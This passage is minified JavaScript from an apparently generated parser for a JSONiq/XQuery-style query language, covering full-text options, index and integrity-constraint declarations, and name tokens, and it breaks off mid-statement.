Ou(){ic.startNonterminal(\"FTTimes\",Vl),Pl(199),Il(159),jl(),_u(),Pl(252),ic.endNonterminal(\"FTTimes\",Vl)}function Mu(){Hl(199),Il(159),Du(),Hl(252)}function _u(){ic.startNonterminal(\"FTRange\",Vl);switch($l){case 131:Pl(131),Il(266),jl(),Jn();break;case 82:Pl(82),Il(129);switch($l){case 176:Pl(176),Il(266),jl(),Jn();break;default:Pl(186),Il(266),jl(),Jn()}break;default:Pl(142),Il(266),jl(),Jn(),Pl(253),Il(266),jl(),Jn()}ic.endNonterminal(\"FTRange\",Vl)}function Du(){switch($l){case 131:Hl(131),Il(266),Kn();break;case 82:Hl(82),Il(129);switch($l){case 176:Hl(176),Il(266),Kn();break;default:Hl(186),Il(266),Kn()}break;default:Hl(142),Il(266),Kn(),Hl(253),Il(266),Kn()}}function Pu(){ic.startNonterminal(\"FTPosFilter\",Vl);switch($l){case 206:Bu();break;case 275:Fu();break;case 118:qu();break;case 116:case 227:Wu();break;default:Ju()}ic.endNonterminal(\"FTPosFilter\",Vl)}function Hu(){switch($l){case 206:ju();break;case 275:Iu();break;case 118:Ru();break;case 116:case 227:Xu();break;default:Ku()}}function Bu(){ic.startNonterminal(\"FTOrder\",Vl),Pl(206),ic.endNonterminal(\"FTOrder\",Vl)}function ju(){Hl(206)}function Fu(){ic.startNonterminal(\"FTWindow\",Vl),Pl(275),Il(266),jl(),Jn(),jl(),Uu(),ic.endNonterminal(\"FTWindow\",Vl)}function Iu(){Hl(275),Il(266),Kn(),zu()}function qu(){ic.startNonterminal(\"FTDistance\",Vl),Pl(118),Il(159),jl(),_u(),jl(),Uu(),ic.endNonterminal(\"FTDistance\",Vl)}function Ru(){Hl(118),Il(159),Du(),zu()}function Uu(){ic.startNonterminal(\"FTUnit\",Vl);switch($l){case 279:Pl(279);break;case 237:Pl(237);break;default:Pl(209)}ic.endNonterminal(\"FTUnit\",Vl)}function zu(){switch($l){case 279:Hl(279);break;case 237:Hl(237);break;default:Hl(209)}}function Wu(){ic.startNonterminal(\"FTScope\",Vl);switch($l){case 227:Pl(227);break;default:Pl(116)}Il(136),jl(),Vu(),ic.endNonterminal(\"FTScope\",Vl)}function Xu(){switch($l){case 227:Hl(227);break;default:Hl(116)}Il(136),$u()}function Vu(){ic.startNonterminal(\"FTBigUnit\",Vl);switch($l){case 236:Pl(236);break;default:Pl(208)}ic.endNonterminal(\"FTBigUnit\",Vl)}function $u(){switch($l){case 236:Hl(236);break;default:Hl(208)}}function Ju(){ic.startNonterminal(\"FTContent\",Vl);switch($l){case 82:Pl(82),Il(121);switch($l){case 242:Pl(242);break;default:Pl(127)}break;default:Pl(128),Il(45),Pl(101)}ic.endNonterminal(\"FTContent\",Vl)}function Ku(){switch($l){case 82:Hl(82),Il(121);switch($l){case 242:Hl(242);break;default:Hl(127)}break;default:Hl(128),Il(45),Hl(101)}}function Qu(){ic.startNonterminal(\"FTMatchOptions\",Vl);for(;;){Pl(265),Il(205),jl(),Yu(),Il(214);if($l!=265)break}ic.endNonterminal(\"FTMatchOptions\",Vl)}function Gu(){for(;;){Hl(265),Il(205),Zu(),Il(214);if($l!=265)break}}function Yu(){ic.startNonterminal(\"FTMatchOption\",Vl);switch($l){case 191:ql(176);break;default:Wl=$l}switch(Wl){case 172:ya();break;case 274:case 140479:wa();break;case 251:case 128703:oa();break;case 243:case 124607:ia();break;case 115:na();break;case 244:case 125119:ha();break;case 203:Sa();break;default:ea()}ic.endNonterminal(\"FTMatchOption\",Vl)}function Zu(){switch($l){case 191:ql(176);break;default:Wl=$l}switch(Wl){case 172:ba();break;case 274:case 140479:Ea();break;case 251:case 128703:ua();break;case 243:case 124607:sa();break;case 115:ra();break;case 244:case 125119:pa();break;case 203:xa();break;default:ta()}}function ea(){ic.startNonterminal(\"FTCaseOption\",Vl);switch($l){case 89:Pl(89),Il(128);switch($l){case 160:Pl(160);break;default:Pl(235)}break;case 180:Pl(180);break;default:Pl(264)}ic.endNonterminal(\"FTCaseOption\",Vl)}function ta(){switch($l){case 89:Hl(89),Il(128);switch($l){case 160:Hl(160);break;default:Hl(235)}break;case 180:Hl(180);break;default:Hl(264)}}function na(){ic.startNonterminal(\"FTDiacriticsOption\",Vl),Pl(115),Il(128);switch($l){case 160:Pl(160);break;default:Pl(235)}ic.endNonterminal(\"FTDiacriticsOption\",Vl)}function ra(){Hl(115),Il(128);switch($l){case 160:Hl(160);break;default:Hl(235)}}function ia(){ic.startNonterminal(\"FTStemOption\",Vl);switch($l){case 243:Pl(243);break;default:Pl(191),Il(77),Pl(243)}ic.endNonterminal(\"FTStemOption\",Vl)}function sa(){switch($l){case 243:Hl(243);break;default:Hl(191),Il(77),Hl(243)}}function oa(){ic.startNonterminal(\"FTThesaurusOption\",Vl);switch($l){case 251:Pl(251),Il(152);switch($l){case 82:jl(),aa();break;case 110:Pl(110);break;default:Pl(35),Il(116);switch($l){case 82:jl(),aa();break;default:Pl(110)}for(;;){Il(105);if($l!=42)break;Pl(42),Il(34),jl(),aa()}Pl(38)}break;default:Pl(191),Il(81),Pl(251)}ic.endNonterminal(\"FTThesaurusOption\",Vl)}function ua(){switch($l){case 251:Hl(251),Il(152);switch($l){case 82:fa();break;case 110:Hl(110);break;default:Hl(35),Il(116);switch($l){case 82:fa();break;default:Hl(110)}for(;;){Il(105);if($l!=42)break;Hl(42),Il(34),fa()}Hl(38)}break;default:Hl(191),Il(81),Hl(251)}}function aa(){ic.startNonterminal(\"FTThesaurusID\",Vl),Pl(82),Il(15),Pl(7),Il(220),$l==221&&(Pl(221),Il(17),Pl(11)),Il(216);switch($l){case 82:ql(183);break;default:Wl=$l}if(Wl==131||Wl==142||Wl==90194||Wl==95314)jl(),la(),Il(61),Pl(178);ic.endNonterminal(\"FTThesaurusID\",Vl)}function fa(){Hl(82),Il(15),Hl(7),Il(220),$l==221&&(Hl(221),Il(17),Hl(11)),Il(216);switch($l){case 82:ql(183);break;default:Wl=$l}if(Wl==131||Wl==142||Wl==90194||Wl==95314)ca(),Il(61),Hl(178)}function la(){ic.startNonterminal(\"FTLiteralRange\",Vl);switch($l){case 131:Pl(131),Il(16),Pl(8);break;case 82:Pl(82),Il(129);switch($l){case 176:Pl(176),Il(16),Pl(8);break;default:Pl(186),Il(16),Pl(8)}break;default:Pl(142),Il(16),Pl(8),Il(82),Pl(253),Il(16),Pl(8)}ic.endNonterminal(\"FTLiteralRange\",Vl)}function ca(){switch($l){case 131:Hl(131),Il(16),Hl(8);break;case 82:Hl(82),Il(129);switch($l){case 176:Hl(176),Il(16),Hl(8);break;default:Hl(186),Il(16),Hl(8)}break;default:Hl(142),Il(16),Hl(8),Il(82),Hl(253),Il(16),Hl(8)}}function ha(){ic.startNonterminal(\"FTStopWordOption\",Vl);switch($l){case 244:Pl(244),Il(89),Pl(279),Il(152);switch($l){case 110:Pl(110);for(;;){Il(217);if($l!=132&&$l!=260)break;jl(),ma()}break;default:jl(),da();for(;;){Il(217);if($l!=132&&$l!=260)break;jl(),ma()}}break;default:Pl(191),Il(78),Pl(244),Il(89),Pl(279)}ic.endNonterminal(\"FTStopWordOption\",Vl)}function pa(){switch($l){case 244:Hl(244),Il(89),Hl(279),Il(152);switch($l){case 110:Hl(110);for(;;){Il(217);if($l!=132&&$l!=260)break;ga()}break;default:va();for(;;){Il(217);if($l!=132&&$l!=260)break;ga()}}break;default:Hl(191),Il(78),Hl(244),Il(89),Hl(279)}}function da(){ic.startNonterminal(\"FTStopWords\",Vl);switch($l){case 82:Pl(82),Il(15),Pl(7);break;default:Pl(35),Il(17),Pl(11);for(;;){Il(105);if($l!=42)break;Pl(42),Il(17),Pl(11)}Pl(38)}ic.endNonterminal(\"FTStopWords\",Vl)}function va(){switch($l){case 82:Hl(82),Il(15),Hl(7);break;default:Hl(35),Il(17),Hl(11);for(;;){Il(105);if($l!=42)break;Hl(42),Il(17),Hl(11)}Hl(38)}}function ma(){ic.startNonterminal(\"FTStopWordsInclExcl\",Vl);switch($l){case 260:Pl(260);break;default:Pl(132)}Il(103),jl(),da(),ic.endNonterminal(\"FTStopWordsInclExcl\",Vl)}function ga(){switch($l){case 260:Hl(260);break;default:Hl(132)}Il(103),va()}function ya(){ic.startNonterminal(\"FTLanguageOption\",Vl),Pl(172),Il(17),Pl(11),ic.endNonterminal(\"FTLanguageOption\",Vl)}function ba(){Hl(172),Il(17),Hl(11)}function wa(){ic.startNonterminal(\"FTWildCardOption\",Vl);switch($l){case 274:Pl(274);break;default:Pl(191),Il(87),Pl(274)}ic.endNonterminal(\"FTWildCardOption\",Vl)}function Ea(){switch($l){case 274:Hl(274);break;default:Hl(191),Il(87),Hl(274)}}function Sa(){ic.startNonterminal(\"FTExtensionOption\",Vl),Pl(203),Il(246),jl(),$a(),Il(17),Pl(11),ic.endNonterminal(\"FTExtensionOption\",Vl)}function xa(){Hl(203),Il(246),Ja(),Il(17),Hl(11)}function Ta(){ic.startNonterminal(\"FTIgnoreOption\",Vl),Pl(277),Il(45),Pl(101),Il(266),jl(),Yn(),ic.endNonterminal(\"FTIgnoreOption\",Vl)}function Na(){Hl(277),Il(45),Hl(101),Il(266),Zn()}function Ca(){ic.startNonterminal(\"CollectionDecl\",Vl),Pl(96),Il(246),jl(),$a(),Il(111),$l==80&&(jl(),ka()),ic.endNonterminal(\"CollectionDecl\",Vl)}function ka(){ic.startNonterminal(\"CollectionTypeDecl\",Vl),Pl(80),Il(200),jl(),Vs(),Il(171),$l!=54&&(jl(),Os()),ic.endNonterminal(\"CollectionTypeDecl\",Vl)}function La(){ic.startNonterminal(\"IndexName\",Vl),$a(),ic.endNonterminal(\"IndexName\",Vl)}function Aa(){ic.startNonterminal(\"IndexDomainExpr\",Vl),Or(),ic.endNonterminal(\"IndexDomainExpr\",Vl)}function Oa(){ic.startNonterminal(\"IndexKeySpec\",Vl),Ma(),$l==80&&(jl(),_a()),Il(156),$l==95&&(jl(),Pa()),ic.endNonterminal(\"IndexKeySpec\",Vl)}function Ma(){ic.startNonterminal(\"IndexKeyExpr\",Vl),Or(),ic.endNonterminal(\"IndexKeyExpr\",Vl)}function _a(){ic.startNonterminal(\"IndexKeyTypeDecl\",Vl),Pl(80),Il(246),jl(),Da(),Il(189);if($l==40||$l==41||$l==65)jl(),Os();ic.endNonterminal(\"IndexKeyTypeDecl\",Vl)}function Da(){ic.startNonterminal(\"AtomicType\",Vl),$a(),ic.endNonterminal(\"AtomicType\",Vl)}function Pa(){ic.startNonterminal(\"IndexKeyCollation\",Vl),Pl(95),Il(15),Pl(7),ic.endNonterminal(\"IndexKeyCollation\",Vl)}function Ha(){ic.startNonterminal(\"IndexDecl\",Vl),Pl(157),Il(246),jl(),La(),Il(68),Pl(201),Il(66),Pl(195),Il(263),jl(),Aa(),Pl(88),Il(263),jl(),Oa();for(;;){Il(107);if($l!=42)break;Pl(42),Il(263),jl(),Oa()}ic.endNonterminal(\"IndexDecl\",Vl)}function Ba(){ic.startNonterminal(\"ICDecl\",Vl),Pl(163),Il(43),Pl(98),Il(246),jl(),$a(),Il(124);switch($l){case 201:jl(),ja();break;default:jl(),Ra()}ic.endNonterminal(\"ICDecl\",Vl)}function ja(){ic.startNonterminal(\"ICCollection\",Vl),Pl(201),Il(42),Pl(96),Il(246),jl(),$a(),Il(150);switch($l){case 31:jl(),Fa();break;case 194:jl(),Ia();break;default:jl(),qa()}ic.endNonterminal(\"ICCollection\",Vl)}function Fa(){ic.startNonterminal(\"ICCollSequence\",Vl),Si(),Il(40),Pl(93),Il(267),jl(),Wf(),ic.endNonterminal(\"ICCollSequence\",Vl)}function Ia(){ic.startNonterminal(\"ICCollSequenceUnique\",Vl),Pl(194),Il(21),jl(),Si(),Il(40),Pl(93),Il(83),Pl(261),Il(60),Pl(171),Il(263),jl(),Or(),ic.endNonterminal(\"ICCollSequenceUnique\",Vl)}function qa(){ic.startNonterminal(\"ICCollNode\",Vl),Pl(140),Il(65),Pl(194),Il(21),jl(),Si(),Il(40),Pl(93),Il(267),jl(),Wf(),ic.endNonterminal(\"ICCollNode\",Vl)}function Ra(){ic.startNonterminal(\"ICForeignKey\",Vl),Pl(141),Il(60),Pl(171),Il(54),jl(),Ua(),jl(),za(),ic.endNonterminal(\"ICForeignKey\",Vl)}function Ua(){ic.startNonterminal(\"ICForeignKeySource\",Vl),Pl(142),Il(42),jl(),Wa(),ic.endNonterminal(\"ICForeignKeySource\",Vl)}function za(){ic.startNonterminal(\"ICForeignKeyTarget\",Vl),Pl(253),Il(42),jl(),Wa(),ic.endNonterminal(\"ICForeignKeyTarget\",Vl)}function Wa(){ic.startNonterminal(\"ICForeignKeyValues\",Vl),Pl(96),Il(246),jl(),$a(),Il(65),Pl(194),Il(21),jl(),Si(),Il(60),Pl(171),Il(263),jl(),Or(),ic.endNonterminal(\"ICForeignKeyValues\",Vl)}function Xa(){Hl(37);for(;;){Rl(92);if($l==51)break;switch($l){case 24:Hl(24);break;default:Xa()}}Hl(51)}function Va(){switch($l){case 22:Hl(22);break;default:Xa()}}function $a(){ic.startNonterminal(\"EQName\",Vl),Rl(241);switch($l){case 83:Pl(83);break;case 97:Pl(97);break;case 121:Pl(121);break;case 122:Pl(122);break;case 125:Pl(125);break;case 147:Pl(147);break;case 154:Pl(154);break;case 167:Pl(167);break;case 188:Pl(188);break;case 194:Pl(194);break;case 220:Pl(220);break;case 230:Pl(230);break;case 231:Pl(231);break;case 248:Pl(248);break;case 249:Pl(249);break;case 259:Pl(259);break;case 79:Pl(79);break;case 169:Pl(169);break;case 247:Pl(247);break;default:Ka()}ic.endNonterminal(\"EQName\",Vl)}function Ja(){Rl(241);switch($l){case 83:Hl(83);break;case 97:Hl(97);break;case 121:Hl(121);break;case 122:Hl(122);break;case 125:Hl(125);break;case 147:Hl(147);break;case 154:Hl(154);break;case 167:Hl(167);break;case 188:Hl(188);break;case 194:Hl(194);break;case 220:Hl(220);break;case 230:Hl(230);break;case 231:Hl(231);break;case 248:Hl(248);break;case 249:Hl(249);break;case 259:Hl(259);break;case 79:Hl(79);break;case 169:Hl(169);break;case 247:Hl(247);break;default:Qa()}}function Ka(){ic.startNonterminal(\"FunctionName\",Vl);switch($l){case 6:Pl(6);break;case 71:Pl(71);break;case 74:Pl(74);break;case 75:Pl(75);break;case 76:Pl(76);break;case 80:Pl(80);break;case 81:Pl(81);break;case 85:Pl(85);break;case 89:Pl(89);break;case 90:Pl(90);break;case 91:Pl(91);break;case 94:Pl(94);break;case 95:Pl(95);break;case 104:Pl(104);break;case 106:Pl(106);break;case 109:Pl(109);break;case 110:Pl(110);break;case 111:Pl(111);break;case 112:Pl(112);break;case 113:Pl(113);break;case 114:Pl(114);break;case 119:Pl(119);break;case 120:Pl(120);break;case 123:Pl(123);break;case 124:Pl(124);break;case 127:Pl(127);break;case 129:Pl(129);break;case 130:Pl(130);break;case 132:Pl(132);break;case 136:Pl(136);break;case 137:Pl(137);break;case 138:Pl(138);break;case 139:Pl(139);break;case 148:Pl(148);break;case 150:Pl(150);break;case 152:Pl(152);break;case 153:Pl(153);break;case 155:Pl(155);break;case 161:Pl(161);break;case 162:Pl(162);break;case 164:Pl(164);break;case 165:Pl(165);break;case 166:Pl(166);break;case 173:Pl(173);break;case 175:Pl(175);break;case 177:Pl(177);break;case 181:Pl(181);break;case 183:Pl(183);break;case 184:Pl(184);break;case 185:Pl(185);break;case 187:Pl(187);break;case 189:Pl(189);break;case 202:Pl(202);break;case 204:Pl(204);break;case 205:Pl(205);break;case 206:Pl(206);break;case 210:Pl(210);break;case 216:Pl(216);break;case 217:Pl(217);break;case 222:Pl(222);break;case 223:Pl(223);break;case 224:Pl(224);break;case 228:Pl(228);break;case 234:Pl(234);break;case 240:Pl(240);break;case 241:Pl(241);break;case 242:Pl(242);break;case 253:Pl(253);break;case 254:Pl(254);break;case 256:Pl(256);break;case 260:Pl(260);break;case 262:Pl(262);break;case 266:Pl(266);break;case 272:Pl(272);break;case 276:Pl(276);break;case 170:Pl(170);break;case 73:Pl(73);break;case 82:Pl(82);break;case 84:Pl(84);break;case 86:Pl(86);break;case 87:Pl(87);break;case 92:Pl(92);break;case 99:Pl(99);break;case 102:Pl(102);break;case 103:Pl(103);break;case 105:Pl(105);break;case 107:Pl(107);break;case 126:Pl(126);break;case 133:Pl(133);break;case 134:Pl(134);break;case 143:Pl(143);break;case 156:Pl(156);break;case 157:Pl(157);break;case 163:Pl(163);break;case 174:Pl(174);break;case 195:Pl(195);break;case 203:Pl(203);break;case 207:Pl(207);break;case 226:Pl(226);break;case 229:Pl(229);break;case 232:Pl(232);break;case 239:Pl(239);break;case 245:Pl(245);break;case 257:Pl(257);break;case 258:Pl(258);break;case 263:Pl(263);break;case 267:Pl(267);break;case 268:Pl(268);break;case 269:Pl(269);break;case 273:Pl(273);break;case 98:Pl(98);break;case 179:Pl(179);break;case 225:Pl(225);break;case 78:Pl(78);break;case 135:Pl(135);break;case 142:Pl(142);break;case 197:Pl(197);break;case 168:Pl(168);break;case 198:Pl(198);break;case 233:Pl(233);break;default:Pl(255)}ic.endNonterminal(\"FunctionName\",Vl)}function Qa(){switch($l){case 6:Hl(6);break;case 71:Hl(71);break;case 74:Hl(74);break;case 75:Hl(75);break;case 76:Hl(76);break;case 80:Hl(80);break;case 81:Hl(81);break;case 85:Hl(85);break;case 89:Hl(89);break;case 90:Hl(90);break;case 91:Hl(91);break;case 94:Hl(94);break;case 95:Hl(95);break;case 104:Hl(104);break;case 106:Hl(106);break;case 109:Hl(109);break;case 110:Hl(110);break;case 111:Hl(111);break;case 112:Hl(112);break;case 113:Hl(113);break;case 114:Hl(114);break;case 119:Hl(119);break;case 120:Hl(120);break;case 123:Hl(123);break;case 124:Hl(124);break;case 127:Hl(127);break;case 129:Hl(129);break;case 130:Hl(130);break;case 132:Hl(132);break;case 136:Hl(136);break;case 137:Hl(137);break;case 138:Hl(138);break;case 139:Hl(139);break;case 148:Hl(148);break;case 150:Hl(150);break;case 152:Hl(152);break;case 153:Hl(153);break;case 155:Hl(155);break;case 161:Hl(161);break;case 162:Hl(162);break;case 164:Hl(164);break;case 165:Hl(165);break;case 166:Hl(166);break;case 173:Hl(173);break;case 175:Hl(175);break;case 177:Hl(177);break;case 181:Hl(181);break;case 183:Hl(183);break;case 184:Hl(184);break;case 185:Hl(185);break;case 187:Hl(187);break;case 189:Hl(189);break;case 202:Hl(202);break;case 204:Hl(204);break;case 205:Hl(205);break;case 206:Hl(206);break;case 210:Hl(210);break;case 216:Hl(216);break;case 217:Hl(217);break;case 222:Hl(222);break;case 223:Hl(223);break;case 224:Hl(224);break;case 228:Hl(228);break;case 234:Hl(234);break;case 240:Hl(240);break;case 241:Hl(241);break;case 242:Hl(242);break;case 253:Hl(253);break;case 254:Hl(254);break;case 256:Hl(256);break;case 260:Hl(260);break;case 262:Hl(262);break;case 266:Hl(266);break;case 272:Hl(272);break;case 276:Hl(276);break;case 170:Hl(170);break;case 73:Hl(73);break;case 82:Hl(82);break;case 84:Hl(84);break;case 86:Hl(86);break;case 87:Hl(87);break;case 92:Hl(92);break;case 99:Hl(99);break;case 102:Hl(102);break;case 103:Hl(103);break;case 105:Hl(105);break;case 107:Hl(107);break;case 126:Hl(126);break;case 133:Hl(133);break;case 134:Hl(134);break;case 143:Hl(143);break;case 156:Hl(156);break;case 157:Hl(157);break;case 163:Hl(163);break;case 174:Hl(174);break;case 195:Hl(195);break;case 203:Hl(203);break;case 207:Hl(207);break;case 226:Hl(226);break;case 229:Hl(229);break;case 232:Hl(232);break;case 239:Hl(239);break;case 245:Hl(245);break;case 257:Hl(257);break;case 258:Hl(258);break;case 263:Hl(263);break;case 267:Hl(267);break;case 268:Hl(268);break;case 269:Hl(269);break;case 273:Hl(273);break;case 98:Hl(98);break;case 179:Hl(179);break;case 225:Hl(225);break;case 78:Hl(78);break;case 135:Hl(135);break;case 142:Hl(142);break;case 197:Hl(197);break;case 168:Hl(168);break;case 198:Hl(198);break;case 233:Hl(233);break;default:Hl(255)}}function Ga(){ic.startNonterminal(\"NCName\",Vl);switch($l){case 19:Pl(19);break;case 71:Pl(71);break;case 76:Pl(76);break;case 80:Pl(80);break;case 81:Pl(81);break;case 85:Pl(85);break;case 89:Pl(89);break;case 90:Pl(90);break;case 91:Pl(91);break;case 95:Pl(95);break;case 106:Pl(106);break;case 110:Pl(110);break;case 114:Pl(114);break;case 119:Pl(119);break;case 123:Pl(123);break;case 124:Pl(124);break;case 127:Pl(127);break;case 129:Pl(129);break;case 132:Pl(132);break;case 139:Pl(139);break;case 148:Pl(148);break;case 150:Pl(150);break;case 152:Pl(152);break;case 153:Pl(153);break;case 162:Pl(162);break;case 164:Pl(164);break;case 165:Pl(165);break;case 166:Pl(166);break;case 175:Pl(175);break;case 177:Pl(177);break;case 181:Pl(181);break;case 183:Pl(183);break;case 184:Pl(184);break;case 189:Pl(189);break;case 202:Pl(202);break;case 204:Pl(204);break;case 205:Pl(205);break;case 224:Pl(224);break;case 228:Pl(228);break;case 241:Pl(241);break;case 242:Pl(242);break;case 253:Pl(253);break;case 254:Pl(254);break;case 260:Pl(260);break;case 272:Pl(272);break;case 276:Pl(276);break;case 74:Pl(74);break;case 75:Pl(75);break;case 83:Pl(83);break;case 94:Pl(94);break;case 97:Pl(97);break;case 104:Pl(104);break;case 109:Pl(109);break;case 111:Pl(111);break;case 112:Pl(112);break;case 113:Pl(113);break;case 120:Pl(120);break;case 121:Pl(121);break;case 122:Pl(122);break;case 125:Pl(125);break;case 130:Pl(130);break;case 136:Pl(136);break;case 137:Pl(137);break;case 138:Pl(138);break;case 147:Pl(147);break;case 154:Pl(154);break;case 155:Pl(155);break;case 161:Pl(161);break;case 167:Pl(167);break;case 173:Pl(173);break;case 185:Pl(185);break;case 187:Pl(187);break;case 188:Pl(188);break;case 194:Pl(194);break;case 206:Pl(206);break;case 210:Pl(210);break;case 216:Pl(216);break;case 217:Pl(217);break;case 220:Pl(220);break;case 222:Pl(222);break;case 223:Pl(223);break;case 230:Pl(230);break;case 231:Pl(231);break;case 234:Pl(234);break;case 240:Pl(240);break;case 248:Pl(248);break;case 249:Pl(249);break;case 256:Pl(256);break;case 259:Pl(259);break;case 262:Pl(262);break;case 266:Pl(266);break;case 268:Pl(268);break;case 170:Pl(170);break;case 73:Pl(73);break;case 82:Pl(82);break;case 84:Pl(84);break;case 86:Pl(86);break;case 87:Pl(87);break;case 92:Pl(92);break;case 99:Pl(99);break;case 102:Pl(102);break;case 103:Pl(103);break;case 105:Pl(105);break;case 107:Pl(107);break;case 126:Pl(126);break;case 133:Pl(133);break;case 134:Pl(134);break;case 143:Pl(143);break;case 156:Pl(156);break;case 157:Pl(157);break;case 163:Pl(163);break;case 174:Pl(174);break;case 195:Pl(195);break;case 203:Pl(203);break;case 207:Pl(207);break;case 226:Pl(226);break;case 229:Pl(229);break;case 232:Pl(232);break;case 239:Pl(239);break;case 245:Pl(245);break;case 257:Pl(257);break;case 258:Pl(258);break;case 263:Pl(263);break;case 267:Pl(267);break;case 269:Pl(269);break;case 273:Pl(273);break;case 98:Pl(98);break;case 179:Pl(179);break;case 225:Pl(225);break;case 78:Pl(78);break;case 135:Pl(135);break;case 142:Pl(142);break;case 197:Pl(197);break;case 168:Pl(168);break;case 198:Pl(198);break;case 233:Pl(233);break;default:Pl(255)}ic.endNonterminal(\"NCName\",Vl)}function Ya(){switch($l){case 19:Hl(19);break;case 71:Hl(71);break;case 76:Hl(76);break;case 80:Hl(80);break;case 81:Hl(81);break;case 85:Hl(85);break;case 89:Hl(89);break;case 90:Hl(90);break;case 91:Hl(91);break;case 95:Hl(95);break;case 106:Hl(106);break;case 110:Hl(110);break;case 114:Hl(114);break;case 119:Hl(119);break;case 123:Hl(123);break;case 124:Hl(124);break;case 127:Hl(127);break;case 129:Hl(129);break;case 132:Hl(132);break;case 139:Hl(139);break;case 148:Hl(148);break;case 150:Hl(150);break;case 152:Hl(152);break;case 153:Hl(153);break;case 162:Hl(162);break;case 164:Hl(164);break;case 165:Hl(165);break;case 166:Hl(166);break;case 175:Hl(175);break;case 177:Hl(177);break;case 181:Hl(181);break;case 183:Hl(183);break;case 184:Hl(184);break;case 189:Hl(189);break;case 202:Hl(202);break;case 204:Hl(204);break;case 205:Hl(205);break;case 224:Hl(224);break;case 228:Hl(228);break;case 241:Hl(241);break;case 242:Hl(242);break;case 253:Hl(253);break;case 254:Hl(254);break;case 260:Hl(260);break;case 272:Hl(272);break;case 276:Hl(276);break;case 74:Hl(74);break;case 75:Hl(75);break;case 83:Hl(83);break;case 94:Hl(94);break;case 97:Hl(97);break;case 104:Hl(104);break;case 109:Hl(109);break;case 111:Hl(111);break;case 112:Hl(112);break;case 113:Hl(113);break;case 120:Hl(120);break;case 121:Hl(121);break;case 122:Hl(122);break;case 125:Hl(125);break;case 130:Hl(130);break;case 136:Hl(136);break;case 137:Hl(137);break;case 138:Hl(138);break;case 147:Hl(147);break;case 154:Hl(154);break;case 155:Hl(155);break;case 161:Hl(161);break;case 167:Hl(167);break;case 173:Hl(173);break;case 185:Hl(185);break;case 187:Hl(187);break;case 188:Hl(188);break;case 194:Hl(194);break;case 206:Hl(206);break;case 210:Hl(210);break;case 216:Hl(216);break;case 217:Hl(217);break;case 220:Hl(220);break;case 222:Hl(222);break;case 223:Hl(223);break;case 230:Hl(230);break;case 231:Hl(231);break;case 234:Hl(234);break;case 240:Hl(240);break;case 248:Hl(248);break;case 249:Hl(249);break;case 256:Hl(256);break;case 259:Hl(259);break;case 262:Hl(262);break;case 266:Hl(266);break;case 268:Hl(268);break;case 170:Hl(170);break;case 73:Hl(73);break;case 82:Hl(82);break;case 84:Hl(84);break;case 86:Hl(86);break;case 87:Hl(87);break;case 92:Hl(92);break;case 99:Hl(99);break;case 102:Hl(102);break;case 103:Hl(103);break;case 105:Hl(105);break;case 107:Hl(107);break;case 126:Hl(126);break;case 133:Hl(133);break;case 134:Hl(134);break;case 143:Hl(143);break;case 156:Hl(156);break;case 157:Hl(157);break;case 163:Hl(163);break;case 174:Hl(174);break;case 195:Hl(195);break;case 203:Hl(203);break;case 207:Hl(207);break;case 226:Hl(226);break;case 229:Hl(229);break;case 232:Hl(232);break;case 239:Hl(239);break;case 245:Hl(245);break;case 257:Hl(257);break;case 258:Hl(258);break;case 263:Hl(263);break;case 267:Hl(267);break;case 269:Hl(269);break;case 273:Hl(273);break;case 98:Hl(98);break;case 179:Hl(179);break;case 225:Hl(225);break;case 78:Hl(78);break;case 135:Hl(135);break;case 142:Hl(142);break;case 197:Hl(197);break;case 168:Hl(168);break;case 198:Hl(198);break;case 233:Hl(233);break;default:Hl(255)}}function Za(){ic.startNonterminal(\"MainModule\",Vl),l(),jl(),ef(),ic.endNonterminal(\"MainModule\",Vl)}function ef(){ic.startNonterminal(\"Program\",Vl),of(),ic.endNonterminal(\"Program\",Vl)}function tf(){ic.startNonterminal(\"Statements\",Vl);for(;;){Il(284);switch($l){case 35:ql(270);break;case 36:Ul(243);break;case 47:ql(286);break;case 48:ql(260);break;case 55:Ul(4);break;case 56:Ul(1);break;case 60:Ul(3);break;case 69:ql(273);break;case 78:ql(269);break;case 133:ql(147);break;case 139:ql(179);break;case 161:ql(276);break;case 177:ql(166);break;case 187:ql(247);break;case 220:ql(245);break;case 223:ql(170);break;case 266:ql(188);break;case 281:ql(283);break;case 283:ql(274);break;case 31:case 33:ql(246);break;case 83:case 122:ql(253);break;case 87:case 103:ql(145);break;case 97:case 249:ql(97);break;case 111:case 222:ql(261);break;case 41:case 43:case 196:ql(266);break;case 135:case 197:case 255:ql(211);break;case 104:case 130:case 240:case 268:ql(143);break;case 120:case 206:case 256:case 262:ql(148);break;case 8:case 9:case 10:case 11:case 32:ql(210);break;case 79:case 121:case 125:case 167:case 169:case 188:case 194:case 230:case 231:case 247:ql(20);break;case 6:case 71:case 73:case 74:case 75:case 76:case 80:case 81:case 82:case 84:case 85:case 86:case 89:case 90:case 91:case 92:case 94:case 95:case 98:case 99:case 102:case 105:case 106:case 107:case 109:case 110:case 112:case 113:case 114:case 119:case 123:case 124:case 126:case 127:case 129:case 132:case 134:case 136:case 137:case 138:case 142:case 143:case 147:case 148:case 150:case 152:case 153:case 154:case 155:case 156:case 157:case 162:case 163:case 164:case 165:case 166:case 168:case 170:case 173:case 174:case 175:case 179:case 181:case 183:case 184:case 185:case 189:case 195:case 198:case 202:case 203:case 204:case 205:case 207:case 210:case 216:case 217:case 224:case 225:case 226:case 228:case 229:case 232:case 233:case 234:case 239:case 241:case 242:case 245:case 248:case 253:case 254:case 257:case 258:case 259:case 260:case 263:case 267:case 269:case 272:case 273:case 276:ql(95);break;default:Wl=$l}if(Wl!=25&&Wl!=54&&Wl!=287&&Wl!=12808&&Wl!=12809&&Wl!=12810&&Wl!=12811&&Wl!=12832&&Wl!=12847&&Wl!=12935&&Wl!=12997&&Wl!=13055&&Wl!=16140&&Wl!=21512&&Wl!=21513&&Wl!=21514&&Wl!=21515&&Wl!=21536&&Wl!=21551&&Wl!=21639&&Wl!=21701&&Wl!=21759&&Wl!=27656&&Wl!=27657&&Wl!=27658&&Wl!=27659&&Wl!=27680&&Wl!=27695&&Wl!=27783&&Wl!=27845&&Wl!=27903&&Wl!=91735&&Wl!=91751&&Wl!=115333&&Wl!=146952&&Wl!=146953&&Wl!=146954&&Wl!=146955&&Wl!=146976&&Wl!=146991&&Wl!=147079&&Wl!=147141&&Wl!=147199){Wl=uc(8,Vl);if(Wl==0){var 